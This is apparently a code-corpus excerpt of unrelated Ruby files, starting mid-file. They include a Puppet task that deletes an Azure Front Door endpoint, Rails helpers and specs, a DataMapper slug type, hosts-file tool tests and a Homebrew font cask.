v[1] + v[3] }.max ) end def render_elements(svg_node) diagram .nodes .reduce(svg_node) { |svg, view_node| ViewNode.new(view_node).render_elements(svg) } end def render_connections(svg_node) diagram .connections .reduce(svg_node) { |svg, connection| Connection.new(connection).render(svg) } end end end end
27.727273
116
0.585097
21438ce27e7853e95e58c392852dfb4f9a1d28ab
5,170
#!/opt/puppetlabs/puppet/bin/ruby require 'json' require 'puppet' def frontend_endpoints_delete(*args) header_params = {} argstring = args[0].delete('\\') arg_hash = JSON.parse(argstring) # Remove task name from arguments - should contain all necessary parameters for URI arg_hash.delete('_task') operation_verb = 'Delete' query_params, body_params, path_params = format_params(arg_hash) uri_string = "https://management.azure.com//subscriptions/%{subscription_id}/resourceGroups/%{resource_group_name}/providers/Microsoft.Network/frontDoors/%{front_door_name}/frontendEndpoints/%{frontend_endpoint_name}" % path_params unless query_params.empty? uri_string = uri_string + '?' + to_query(query_params) end header_params['Content-Type'] = 'application/json' # first of #{parent_consumes} return nil unless authenticate(header_params) == true uri = URI(uri_string) Net::HTTP.start(uri.host, uri.port, use_ssl: uri.scheme == 'https') do |http| if operation_verb == 'Get' req = Net::HTTP::Get.new(uri) elsif operation_verb == 'Put' req = Net::HTTP::Put.new(uri) elsif operation_verb == 'Delete' req = Net::HTTP::Delete.new(uri) end header_params.each { |x, v| req[x] = v } unless header_params.empty? unless body_params.empty? req.body=body_params.to_json end Puppet.debug("URI is (#{operation_verb}) #{uri} headers are #{header_params}") response = http.request req # Net::HTTPResponse object Puppet.debug("Called (#{operation_verb}) endpoint at #{uri}") Puppet.debug("response code is #{response.code} and body is #{response.body}") response end end def to_query(hash) if hash return_value = hash.map { |x, v| "#{x}=#{v}" }.reduce { |x, v| "#{x}&#{v}" } if !return_value.nil? return return_value end end return '' end def op_param(name, inquery, paramalias, namesnake) operation_param = { :name => name, :location => inquery, :paramalias => paramalias, :namesnake => namesnake } return operation_param end def format_params(key_values) query_params = {} body_params = {} path_params = {} key_values.each do |key,value| if value.include? '{' key_values[key]=JSON.parse(value.gsub("\'","\"")) end end op_params = [ op_param('api-version', 'query', 'api_version', 'api_version'), op_param('code', 'body', 'code', 'code'), op_param('frontDoorName', 'path', 'front_door_name', 'front_door_name'), op_param('frontendEndpointName', 'path', 'frontend_endpoint_name', 'frontend_endpoint_name'), op_param('message', 'body', 'message', 'message'), op_param('resourceGroupName', 'path', 'resource_group_name', 'resource_group_name'), op_param('subscriptionId', 'path', 'subscription_id', 'subscription_id'), ] op_params.each do |i| location = i[:location] name = i[:name] paramalias = i[:paramalias] name_snake = i[:namesnake] if location == 'query' query_params[name] = key_values[name_snake] unless key_values[name_snake].nil? query_params[name] = ENV["azure__#{name_snake}"] unless ENV["<no value>_#{name_snake}"].nil? elsif location == 'body' body_params[name] = key_values[name_snake] unless key_values[name_snake].nil? body_params[name] = ENV["azure_#{name_snake}"] unless ENV["<no value>_#{name_snake}"].nil? else path_params[name_snake.to_sym] = key_values[name_snake] unless key_values[name_snake].nil? path_params[name_snake.to_sym] = ENV["azure__#{name_snake}"] unless ENV["<no value>_#{name_snake}"].nil? end end return query_params,body_params,path_params end def fetch_oauth2_token Puppet.debug('Getting oauth2 token') @client_id = ENV['azure_client_id'] @client_secret = ENV['azure_client_secret'] @tenant_id = ENV['azure_tenant_id'] uri = URI("https://login.microsoftonline.com/#{@tenant_id}/oauth2/token") response = Net::HTTP.post_form(uri, 'grant_type' => 'client_credentials', 'client_id' => @client_id, 'client_secret' => @client_secret, 'resource' => 'https://management.azure.com/') Puppet.debug("get oauth2 token response code is #{response.code} and body is #{response.body}") success = response.is_a? Net::HTTPSuccess if success return JSON[response.body]["access_token"] else raise Puppet::Error, "Unable to get oauth2 token - response is #{response} and body is #{response.body}" end end def authenticate(header_params) token = fetch_oauth2_token if token header_params['Authorization'] = "Bearer #{token}" return true else return false end end def task # Get operation parameters from an input JSON params = STDIN.read result = frontend_endpoints_delete(params) if result.is_a? Net::HTTPSuccess puts result.body else raise result.body end rescue StandardError => e result = {} result[:_error] = { msg: e.message, kind: 'puppetlabs-azure_arm/error', details: { class: e.class.to_s }, } puts result exit 1 end task
32.929936
233
0.6706
ff236a77f82333d65c9e681804ee411ac4b00d35
371
require "bundler/setup" require "str_helpers_djp" RSpec.configure do |config| # Enable flags like --only-failures and --next-failure config.example_status_persistence_file_path = ".rspec_status" # Disable RSpec exposing methods globally on `Module` and `main` config.disable_monkey_patching! config.expect_with :rspec do |c| c.syntax = :expect end end
24.733333
66
0.757412
013ef288cf360cdc4503af4f210f57fd31247fe9
1,018
# typed: false require 'rails_helper' RSpec.describe GameGenre, type: :model do subject(:game_genre) { build(:game_genre) } describe "Validations" do it "is valid with valid attributes" do expect(game_genre).to be_valid end it { should validate_uniqueness_of(:game_id).scoped_to(:genre_id) } end describe "Associations" do it { should belong_to(:game) } it { should belong_to(:genre) } end describe "Indexes" do it { should have_db_index([:game_id, :genre_id]).unique } end describe 'Destructions' do let(:genre) { create(:genre) } let(:game) { create(:game) } let(:game_genre) { create(:game_genre, genre: genre, game: game) } it 'Game should not be deleted when GameGenre is deleted' do game_genre expect { game_genre.destroy }.to change(Game, :count).by(0) end it 'Genre should not be deleted when GameGenre is deleted' do game_genre expect { game_genre.destroy }.to change(Genre, :count).by(0) end end end
25.45
71
0.669941
e99f33aea14e49eeddf85c93685e5d52e59b7836
1,486
module SessionsHelper # 渡されたユーザーでログインする def log_in(user) session[:user_id] = user.id end # 永続的セッションを破棄する def forget(user) user.forget cookies.delete(:user_id) cookies.delete(:remember_token) end # ユーザーのセッションを永続的にする def remember(user) user.remember cookies.permanent.signed[:user_id] = user.id cookies.permanent[:remember_token] = user.remember_token end # 渡されたユーザーがログイン済みユーザーであればtrueを返す def current_user?(user) user == current_user end # 記憶トークンcookieに対応するユーザーを返す def current_user if (user_id = session[:user_id]) @current_user ||= User.find_by(id: user_id) elsif (user_id = cookies.signed[:user_id]) user = User.find_by(id: user_id) if user && user.authenticated?(:remember, cookies[:remember_token]) log_in user @current_user = user end end end # ユーザーがログインしていればtrue、その他ならfalseを返す def logged_in? !current_user.nil? end # 現在のユーザーをログアウトする def log_out forget(current_user) session.delete(:user_id) @current_user = nil end # 記憶したURL (もしくはデフォルト値) にリダイレクト def redirect_back_or(default) redirect_to(session[:forwarding_url] || default) session.delete(:forwarding_url) end # アクセスしようとしたURLを覚えておく def store_location session[:forwarding_url] = request.original_url if request.get? end end
23.587302
75
0.637281
e8190f7afec36f95092e7dc4ad2b7fe9d75fb979
301
# frozen_string_literal: true class ChangeRawDocumentsResourceData < ActiveRecord::Migration def change change_table :raw_documents do |t| t.remove :resource_data_json t.remove :resource_data_xml t.remove :resource_data_string t.string :resource_data end end end
21.5
62
0.740864
e8c79f631240d661653fe348d65560fce04be259
1,602
class API # API for ExternalLink class ExternalLinkAPI < ModelAPI self.model = ExternalLink self.high_detail_page_length = 100 self.low_detail_page_length = 1000 self.put_page_length = 1000 self.delete_page_length = 1000 self.high_detail_includes = [ :external_site, :observation, :user ] def query_params { where: sql_id_condition, created_at: parse_range(:time, :created_at), updated_at: parse_range(:time, :updated_at), users: parse_array(:user, :user, help: :creator), observations: parse_array(:observation, :observation), external_sites: parse_array(:external_site, :external_site), url: parse(:string, :url) } end def create_params { observation: parse(:observation, :observation), external_site: parse(:external_site, :external_site), url: parse(:string, :url), user: @user } end def update_params { url: parse(:string, :set_url, not_blank: true) } end def validate_create_params!(params) raise MissingParameter.new(:observation) unless params[:observation] raise MissingParameter.new(:external_site) unless params[:external_site] raise MissingParameter.new(:url) if params[:url].blank? return if params[:observation].can_edit?(@user) return if @user.external_sites.include?(params[:external_site]) raise ExternalLinkPermissionDenied.new end end end
29.666667
78
0.62422
f88c85a0a0b682e232e030ddde428dc99e586f35
673
require 'dm-core' require 'stringex' module DataMapper class Property class Slug < String # Maximum length chosen because URI type is limited to 2000 # characters, and a slug is a component of a URI, so it should # not exceed the maximum URI length either. length 2000 def typecast(value) if value.nil? nil elsif value.respond_to?(:to_str) escape(value.to_str) else raise ArgumentError, '+value+ must be nil or respond to #to_str' end end def escape(string) string.to_url end end # class Slug end # class Property end # module DataMapper
22.433333
74
0.6211
ff13b2185c8bbcd41f1540d7685f6453d82a58bc
3,155
require "capybara/rspec" RSpec.configure do |config| config.before :all do FileUtils.cp('spec/stubs/hostspecs/Hostspec', './Hostspec') if File.exist?('spec/stubs/hostspecs/Hostspec') end config.before :each do File.delete('spec/stubs/hosts/hosts.tmp') if File.exist?('spec/stubs/hosts/hosts.tmp') FileUtils.cp('spec/stubs/hosts/hosts.template', 'spec/stubs/hosts/hosts.tmp') if File.exist?('spec/stubs/hosts/hosts.template') end config.after :all do File.delete('./Hostspec') if File.exist?('./Hostspec') File.delete('spec/stubs/hosts/hosts.tmp') if File.exist?('spec/stubs/hosts/hosts.tmp') end end feature "adding hosts" do scenario "adding a host" do stdout = %x{ ./bin/marina.rb spec/stubs/hosts/hosts.tmp spec/stubs/hostspecs/Hostspec } stdout.should eq "\nAdding hosts to hosts file:\n\t- win.com written to the hosts file\n" File.open('spec/stubs/hosts/hosts.tmp') do |temporary_hosts_file| File.open('spec/stubs/hosts/hosts.reference.single') do |reference_hosts_file| (temporary_hosts_file.read).should eq (reference_hosts_file.read) end end $?.exitstatus.should eq 0 end scenario "adding a host with no Hostspec argument" do %x{ ./bin/marina.rb spec/stubs/hosts/hosts.tmp} File.open('spec/stubs/hosts/hosts.tmp') do |temporary_hosts_file| File.open('spec/stubs/hosts/hosts.reference.single') do |reference_hosts_file| (temporary_hosts_file.read).should eq (reference_hosts_file.read) end end $?.exitstatus.should eq 0 end scenario "adding multiple hosts" do %x{ ./bin/marina.rb spec/stubs/hosts/hosts.tmp spec/stubs/hostspecs/multiple_hostspec } File.open('spec/stubs/hosts/hosts.tmp') do |temporary_hosts_file| File.open('spec/stubs/hosts/hosts.reference.multiple') do |reference_hosts_file| (temporary_hosts_file.read).should eq (reference_hosts_file.read) end end $?.exitstatus.should eq 0 end scenario "specified, but non-existent hosts file" do stdout = %x{ ./bin/marina.rb spec/stubs/hosts/hosts_file_that_does_not_exist spec/stubs/hostspecs/Hostspec } stdout.should eq "marina: spec/stubs/hosts/hosts_file_that_does_not_exist: No such file\n" $?.exitstatus.should eq 66 end scenario "specified, but non-existent Hostspec file" do stdout = %x{ ./bin/marina.rb spec/stubs/hosts/hosts.tmp spec/stubs/hostspecs/hostspec_file_that_does_not_exist } stdout.should eq "marina: spec/stubs/hostspecs/hostspec_file_that_does_not_exist: No such file\n" $?.exitstatus.should eq 66 end scenario "specified, but non-existent Hostspec file & host file" do stdout = %x{ ./bin/marina.rb spec/stubs/hosts/hosts_file_that_does_not_exist spec/stubs/hostspecs/hostspec_file_that_does_not_exist } stdout.should eq "marina: spec/stubs/hostspecs/hostspec_file_that_does_not_exist: No such file\n" $?.exitstatus.should eq 66 end scenario "accessing /etc/hosts" do stdout = %x{ ./bin/marina.rb } stdout.should eq "\nAdding hosts to hosts file:\n\tmarina: /etc/hosts: Permission denied\n" $?.exitstatus.should eq 66 end end
36.686047
138
0.72393
e9f788458ff013cc4ca33ae8c10fe4efcb01337e
404
cask "font-kaisei-harunoumi" do version :latest sha256 :no_check url "https://github.com/google/fonts/trunk/ofl/kaiseiharunoumi", verified: "github.com/google/fonts/", using: :svn name "Kaisei HarunoUmi" homepage "https://fonts.google.com/specimen/Kaisei+HarunoUmi" font "KaiseiHarunoUmi-Bold.ttf" font "KaiseiHarunoUmi-Medium.ttf" font "KaiseiHarunoUmi-Regular.ttf" end
26.933333
66
0.727723